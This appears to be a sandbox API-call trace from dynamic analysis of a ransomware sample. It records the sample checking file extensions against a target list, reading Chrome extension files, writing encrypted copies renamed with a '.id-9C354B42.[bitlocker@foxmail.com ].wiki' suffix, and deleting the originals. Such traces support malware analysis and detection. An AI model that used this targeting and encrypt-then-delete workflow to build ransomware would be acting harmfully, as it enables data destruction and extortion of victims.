[0179.534] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.534] lstrlenW (lpString=".pdf") returned 4 [0179.534] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.534] lstrlenW (lpString=".xls") returned 4 [0179.534] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.535] lstrlenW (lpString=".xlsx") returned 5 [0179.535] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.535] lstrlenW (lpString=".ppt") returned 4 [0179.535] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.535] lstrlenW (lpString=".zip") returned 4 [0179.535] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.535] lstrlenW (lpString=".rar") returned 4 [0179.535] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.535] lstrlenW (lpString=".bz2") returned 4 [0179.535] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.535] lstrlenW (lpString=".7z") returned 3 [0179.535] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.535] lstrlenW (lpString=".dbf") returned 4 [0179.535] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.535] lstrlenW (lpString=".1cd") returned 4 [0179.535] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.535] lstrlenW (lpString=".jpg") returned 4 [0179.535] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.535] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.535] lstrlenW (lpString=".doc") returned 4 [0179.535] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.535] lstrlenW (lpString=".docx") returned 5 [0179.535] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.535] lstrlenW (lpString=".pdf") returned 4 [0179.535] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.536] lstrlenW (lpString=".xls") returned 4 [0179.536] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.536] lstrlenW (lpString=".xlsx") returned 5 [0179.536] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.536] lstrlenW (lpString=".ppt") returned 4 [0179.536] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.536] lstrlenW (lpString=".zip") returned 4 [0179.536] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.536] lstrlenW (lpString=".rar") returned 4 [0179.536] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.536] lstrlenW (lpString=".bz2") returned 4 [0179.536] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.536] lstrlenW (lpString=".7z") returned 3 [0179.536] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.536] lstrlenW (lpString=".dbf") returned 4 [0179.536] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.536] lstrlenW (lpString=".1cd") returned 4 [0179.536] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.536] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.536] lstrlenW (lpString=".jpg") returned 4 [0179.536] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.536] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.537] lstrlenW (lpString="messages.json") returned 13 [0179.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.537] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=640) returned 1 [0179.537] CloseHandle (hObject=0x19c) returned 1 [0179.537] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0179.537] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.537] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.537] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0179.538] GetLastError () returned 0x0 [0179.538] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x280, lpOverlapped=0x0) returned 1 [0179.539] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x290, lpOverlapped=0x0) returned 1 [0179.540] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.540] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.540] SetEndOfFile (hFile=0x1b4) returned 1 [0179.541] CloseHandle (hObject=0x1b4) returned 1 [0179.541] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.541] SetEndOfFile (hFile=0x19c) returned 1 [0179.541] CloseHandle (hObject=0x19c) returned 1 [0179.541] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.542] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json")) returned 1 [0179.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.542] lstrlenW (lpString=".doc") returned 4 [0179.542] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.542] lstrlenW (lpString=".docx") returned 5 [0179.542] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.542] lstrlenW (lpString=".pdf") returned 4 [0179.542] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.542] lstrlenW (lpString=".xls") returned 4 [0179.542] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.542] lstrlenW (lpString=".xlsx") returned 5 [0179.542] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.542] lstrlenW (lpString=".ppt") returned 4 [0179.542] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.542] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.542] lstrlenW (lpString=".zip") returned 4 [0179.542] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.542] lstrlenW (lpString=".rar") returned 4 [0179.542] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.542] lstrlenW (lpString=".bz2") returned 4 [0179.542] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.543] lstrlenW (lpString=".7z") returned 3 [0179.543] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.543] lstrlenW (lpString=".dbf") returned 4 [0179.543] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.543] lstrlenW (lpString=".1cd") returned 4 [0179.543] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.543] lstrlenW (lpString=".jpg") returned 4 [0179.543] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.543] lstrlenW (lpString=".doc") returned 4 [0179.543] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.543] lstrlenW (lpString=".docx") returned 5 [0179.543] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.543] lstrlenW (lpString=".pdf") returned 4 [0179.543] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.543] lstrlenW (lpString=".xls") returned 4 [0179.543] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.543] lstrlenW (lpString=".xlsx") returned 5 [0179.543] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.543] lstrlenW (lpString=".ppt") returned 4 [0179.543] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.543] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.543] lstrlenW (lpString=".zip") returned 4 [0179.543] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.543] lstrlenW (lpString=".rar") returned 4 [0179.543] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.544] lstrlenW (lpString=".bz2") returned 4 [0179.544] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.544] lstrlenW (lpString=".7z") returned 3 [0179.544] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.544] lstrlenW (lpString=".dbf") returned 4 [0179.544] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.544] lstrlenW (lpString=".1cd") returned 4 [0179.544] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.544] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 158 [0179.544] lstrlenW (lpString=".jpg") returned 4 [0179.544] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.544] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.544] lstrlenW (lpString="verified_contents.json") returned 22 [0179.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.545] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=11770) returned 1 [0179.545] CloseHandle (hObject=0x19c) returned 1 [0179.545] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json")) returned 0x2020 [0179.545] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.545] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.545] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0179.548] GetLastError () returned 0x0 [0179.548] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x2dfa, lpOverlapped=0x0) returned 1 [0179.550] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2e00, lpOverlapped=0x0) returned 1 [0179.551] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.551] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x100, lpOverlapped=0x0) returned 1 [0179.551] SetEndOfFile (hFile=0x1b4) returned 1 [0179.551] CloseHandle (hObject=0x1b4) returned 1 [0179.551] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.551] SetEndOfFile (hFile=0x19c) returned 1 [0179.552] CloseHandle (hObject=0x19c) returned 1 [0179.552] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.552] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json")) returned 1 [0179.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.553] lstrlenW (lpString=".doc") returned 4 [0179.553] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.553] lstrlenW (lpString=".docx") returned 5 [0179.553] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.553] lstrlenW (lpString=".pdf") returned 4 [0179.553] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.553] lstrlenW (lpString=".xls") returned 4 [0179.553] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.553] lstrlenW (lpString=".xlsx") returned 5 [0179.553] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.553] lstrlenW (lpString=".ppt") returned 4 [0179.553] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.553] lstrlenW (lpString=".zip") returned 4 [0179.553] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.553] lstrlenW (lpString=".rar") returned 4 [0179.553] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.553] lstrlenW (lpString=".bz2") returned 4 [0179.553] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.553] lstrlenW (lpString=".7z") returned 3 [0179.554] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.554] lstrlenW (lpString=".dbf") returned 4 [0179.554] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.554] lstrlenW (lpString=".1cd") returned 4 [0179.554] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.554] lstrlenW (lpString=".jpg") returned 4 [0179.554] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 162 [0179.554] lstrlenW (lpString=".doc") returned 4 [0179.554] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.554] lstrlenW (lpString=".docx") returned 5 [0179.554] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.554] lstrlenW (lpString=".pdf") returned 4 [0179.554] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.554] lstrlenW (lpString=".xls") returned 4 [0179.554] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.554] lstrlenW (lpString=".xlsx") returned 5 [0179.554] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.554] lstrlenW (lpString=".ppt") returned 4 [0179.554] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 